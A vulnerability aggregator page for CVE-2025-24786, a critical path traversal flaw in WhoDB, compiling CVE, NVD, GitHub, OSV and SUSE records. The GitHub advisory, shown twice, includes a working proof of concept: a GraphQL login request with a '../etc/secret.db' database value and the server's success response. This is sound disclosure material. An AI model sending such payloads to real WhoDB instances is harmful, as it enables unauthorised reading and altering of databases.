CVE-2025-24786
Path traversal opening Sqlite3 database in WhoDB
WhoDB is an open source database management tool. While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on. Affected versions of WhoDB allow users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). If no databases are present in the default directory, the UI indicates that the user is unable to open any databases. The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. No checks are performed whether the database file that is eventually opened actually resides in the default directory /db. This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system. This issue has been addressed in version 0.45.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
10.0
Path traversal opening Sqlite3 database in WhoDB
WhoDB is an open source database management tool. While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on. Affected versions of WhoDB allow users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). If no databases are present in the default directory, the UI indicates that the user is unable to open any databases. The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. No checks are performed whether the database file that is eventually opened actually resides in the default directory /db. This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system. This issue has been addressed in version 0.45.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2025-24786- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-35, CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2025-3946
10.0
WhoDB is an open source database management tool. While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on. Affected versions of WhoDB allow users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). If no databases are present in the default directory, the UI indicates that the user is unable to open any databases. The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. No checks are performed whether the database file that is eventually opened actually resides in the default directory /db. This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system. This issue has been addressed in version 0.45.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
EUVD-2025-3946- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-9r4c-jwx3-3j76
10.0
WhoDB has a path traversal opening Sqlite3 database
Summary
While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.
Details
WhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20
If no databases are present in the default directory, the UI indicates that the user is unable to open any databases:
The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26
No checks are performed whether the database file that is eventually opened actually resides in the default directory /db.
This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system.
PoC
Before running the container, an example Sqlite3 database with dummy "secret" data was created:
DB_FILE=$(mktemp)
echo "CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES ('secret data')" | sqlite3 "$DB_FILE"
The container was then created with nothing mounted into /db, and the dummy database mounted into /etc/secret.db:
podman run -d -p 8080:8080 -v "$DB_FILE":/etc/secret.db docker.io/clidey/whodb
The attacker sends a HTTP request to determine whether the secret.db is accessible by setting the Database value to ../etc/secret.db:
POST /api/query HTTP/1.1
Host: localhost:8080
content-type: application/json
...
{"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n Login(credentials: $credentials) {\n Status\n __typename\n }\n}"}
The server response indicates that the database was successfully opened:
HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly
...
{"data":{"Login":{"Status":true,"__typename":"StatusResponse"}}}
The Set-Cookie Token value is simply a Base64-encoded string with a JSON payload containing the connection details:
{
"Type": "Sqlite3",
"Hostname": "",
"Username": "",
"Password": "",
"Database": "../etc/secret.db"
}
The attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the Database value to ../etc/secret.db.
Doing so, the attacker can then browse the database, its tables and the data within:
The attacker may also insert or modify data using either the buttons presented in the UI or the Scratchpad functionality. In this proof-of-concept, the attacker inserts a new row using the Add Row button:
Impact
Allows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database…
- Record
GHSA-9r4c-jwx3-3j76- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
10.0
WhoDB is an open source database management tool. While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on. Affected versions of WhoDB allow users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). If no databases are present in the default directory, the UI indicates that the user is unable to open any databases. The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. No checks are performed whether the database file that is eventually opened actually resides in the default directory /db. This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system. This issue has been addressed in version 0.45.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2025-24786- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-22, CWE-35
- Updated
- 2026-11-02
OSV
10.0
Path traversal opening Sqlite3 database in WhoDB
WhoDB is an open source database management tool. While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on. Affected versions of WhoDB allow users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). If no databases are present in the default directory, the UI indicates that the user is unable to open any databases. The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. No checks are performed whether the database file that is eventually opened actually resides in the default directory /db. This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system. This issue has been addressed in version 0.45.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2025-24786- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-22, CWE-35
- Updated
- 2026-11-02
OSVGHSA-9r4c-jwx3-3j76
10.0
WhoDB has a path traversal opening Sqlite3 database
Summary
While the application only displays Sqlite3 databases present in the directory /db, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.
Details
WhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in /db/ (or alternatively ./tmp/ if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20
If no databases are present in the default directory, the UI indicates that the user is unable to open any databases:
The database file is an user-controlled value. This value is used in .Join() with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26
No checks are performed whether the database file that is eventually opened actually resides in the default directory /db.
This allows an attacker to use path traversal (../../) in order to open any Sqlite3 database present on the system.
PoC
Before running the container, an example Sqlite3 database with dummy "secret" data was created:
DB_FILE=$(mktemp)
echo "CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES ('secret data')" | sqlite3 "$DB_FILE"
The container was then created with nothing mounted into /db, and the dummy database mounted into /etc/secret.db:
podman run -d -p 8080:8080 -v "$DB_FILE":/etc/secret.db docker.io/clidey/whodb
The attacker sends a HTTP request to determine whether the secret.db is accessible by setting the Database value to ../etc/secret.db:
POST /api/query HTTP/1.1
Host: localhost:8080
content-type: application/json
...
{"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n Login(credentials: $credentials) {\n Status\n __typename\n }\n}"}
The server response indicates that the database was successfully opened:
HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly
...
{"data":{"Login":{"Status":true,"__typename":"StatusResponse"}}}
The Set-Cookie Token value is simply a Base64-encoded string with a JSON payload containing the connection details:
{
"Type": "Sqlite3",
"Hostname": "",
"Username": "",
"Password": "",
"Database": "../etc/secret.db"
}
The attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the Database value to ../etc/secret.db.
Doing so, the attacker can then browse the database, its tables and the data within:
The attacker may also insert or modify data using either the buttons presented in the UI or the Scratchpad functionality. In this proof-of-concept, the attacker inserts a new row using the Add Row button:
Impact
Allows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database…
- Record
GHSA-9r4c-jwx3-3j76- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGO-2025-3456 No score
WhoDB has a path traversal opening Sqlite3 database in github.com/clidey/whodb/core
WhoDB has a path traversal opening Sqlite3 database in github.com/clidey/whodb/core
- Record
GO-2025-3456- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:14754-1 No score
govulncheck-vulndb-0.0.20250207T224745-1.1 on GA media
These are all security issues fixed in the govulncheck-vulndb-0.0.20250207T224745-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:14754-1- Updated
- 2026-11-02
OSVSUSE-SU-2025:0429-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
-
Update to version 0.0.20250207T224745 2025-02-07T22:47:45Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2025-3456 CVE-2025-24786 GHSA-9r4c-jwx3-3j76
- GO-2025-3457 CVE-2025-24787 GHSA-c7w4-9wv8-7x7c
- GO-2025-3458 CVE-2025-24366 GHSA-vj7w-3m8c-6vpx
-
Update to version 0.0.20250206T175003 2025-02-06T17:50:03Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2023-1867 CVE-2022-47930 GHSA-c58h-qv6g-fw74
- GO-2024-3244 CVE-2024-50354 GHSA-cph5-3pgr-c82g
-
Update to version 0.0.20250206T165438 2025-02-06T16:54:38Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2025-3428 CVE-2025-22867
- GO-2025-3447 CVE-2025-22866
-
Update to version 0.0.20250205T232745 2025-02-05T23:27:45Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2025-3408
- GO-2025-3448 GHSA-23qp-3c2m-xx6w
- GO-2025-3449 GHSA-mx2j-7cmv-353c
- GO-2025-3450 GHSA-w7wm-2425-7p2h
- GO-2025-3454 GHSA-mj4v-hp69-27x5
- GO-2025-3455 GHSA-vqv5-385r-2hf8
-
Update to version 0.0.20250205T003520 2025-02-05T00:35:20Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2025-3451
-
Update to version 0.0.20250204T220613 2025-02-04T22:06:13Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2025-3431 CVE-2025-24884 GHSA-hcr5-wv4p-h2g2
- GO-2025-3433 CVE-2025-23216 GHSA-47g2-qmh2-749v
- GO-2025-3434 CVE-2025-24376 GHSA-fc89-jghx-8pvg
- GO-2025-3435 CVE-2025-24784 GHSA-756x-m4mj-q96c
- GO-2025-3436 CVE-2025-24883 GHSA-q26p-9cq4-7fc2
- GO-2025-3437 GHSA-274v-mgcv-cm8j
- GO-2025-3438 CVE-2024-11741 GHSA-wxcc-2f3q-4h58
- GO-2025-3442 CVE-2025-24371 GHSA-22qq-3xwm-r5x4
- GO-2025-3443 GHSA-r3r4-g7hq-pq4f
- GO-2025-3444 CVE-2024-35177
- GO-2025-3445 CVE-2024-47770
-
Use standard RPM macros to unpack the source and populate a working directory. Fixes build with RPM 4.20.
-
Update to version 0.0.20250130T185858 2025-01-30T18:58:58Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2024-2842 CVE-2024-3727 GHSA-6wvf-f2vw-3425
- GO-2024-3181 CVE-2024-9313 GHSA-x5q3-c8rm-w787
- GO-2024-3188 CVE-2024-9312 GHSA-4gfw-wf7c-w6g2
- GO-2025-3372 CVE-2024-45339 GHSA-6wxm-mpqj-6jpf
- GO-2025-3373 CVE-2024-45341
- GO-2025-3383 CVE-2024-45340
- GO-2025-3408
- GO-2025-3412 CVE-2024-10846 GHSA-36gq-35j3-p9r9
- GO-2025-3420 CVE-2024-45336
- GO-2025-3421 CVE-2025-22865
- GO-2025-3424 CVE-2025-24369
- GO-2025-3426 CVE-2025-0750 GHSA-hp5j-2585-qx6g
- GO-2025-3427 CVE-2024-13484 GHSA-58fx-7v9q-3g56
- Record
SUSE-SU-2025:0429-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/clidey/whodb/coreGo |
before 0.0.0-20250127172032-547336ac73c8 | 0.0.0-20250127172032-547336ac73c8 |
govulncheck-vulndbSUSE:Linux Enterprise Module for Package Hub 15 SP6 From an advisory covering 28 CVEs |
before 0.0.20250207T224745-150000.1.32.1 | 0.0.20250207T224745-150000.1.32.1 |
govulncheck-vulndbopenSUSE:Leap 15.6 From an advisory covering 28 CVEs |
before 0.0.20250207T224745-150000.1.32.1 | 0.0.20250207T224745-150000.1.32.1 |
govulncheck-vulndbopenSUSE:Tumbleweed From an advisory covering 6 CVEs |
before 0.0.20250207T224745-1.1 | 0.0.20250207T224745-1.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Nuclei | WhoDB < 0.45.0 - Path Traversal |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, Nuclei, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-24786 is a critical vulnerability (CVSS 10.0) in Clidey Whodb, published February 6, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.73%, the 86th percentile. Fixed in github.com/clidey/whodb/core 0.0.0-20250127172032-547336ac73c8.
References
github.com/clidey/whodb/security/advisories/GHSA-9r4c-jwx3-3j76
github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go
github.com/clidey/whodb/commit/547336ac73c8d17929c18c3941c0d5b0099753cc
nvd.nist.gov/vuln/detail/CVE-2025-24786
github.com/advisories/GHSA-9r4c-jwx3-3j76
github.com/CVEProject/cvelistV5/tree/main/cves/2025/24xxx/CVE-2025-24786.json
Show 30 moreShow less
github.com/clidey/whodb
suse.com/support/update/announcement/2025/suse-su-20250429-1
suse.com/security/cve/CVE-2022-47930
suse.com/security/cve/CVE-2024-10846
suse.com/security/cve/CVE-2024-11741
suse.com/security/cve/CVE-2024-13484
suse.com/security/cve/CVE-2024-35177
suse.com/security/cve/CVE-2024-3727
suse.com/security/cve/CVE-2024-45336
suse.com/security/cve/CVE-2024-45339
suse.com/security/cve/CVE-2024-45340
suse.com/security/cve/CVE-2024-45341
suse.com/security/cve/CVE-2024-47770
suse.com/security/cve/CVE-2024-50354
suse.com/security/cve/CVE-2024-9312
suse.com/security/cve/CVE-2024-9313
suse.com/security/cve/CVE-2025-0750
suse.com/security/cve/CVE-2025-22865
suse.com/security/cve/CVE-2025-22866
suse.com/security/cve/CVE-2025-22867
suse.com/security/cve/CVE-2025-23216
suse.com/security/cve/CVE-2025-24366
suse.com/security/cve/CVE-2025-24369
suse.com/security/cve/CVE-2025-24371
suse.com/security/cve/CVE-2025-24376
suse.com/security/cve/CVE-2025-24784
suse.com/security/cve/CVE-2025-24786
suse.com/security/cve/CVE-2025-24787
suse.com/security/cve/CVE-2025-24883
suse.com/security/cve/CVE-2025-24884
Left out here: the rest of 2 source descriptions. The JSON record has them.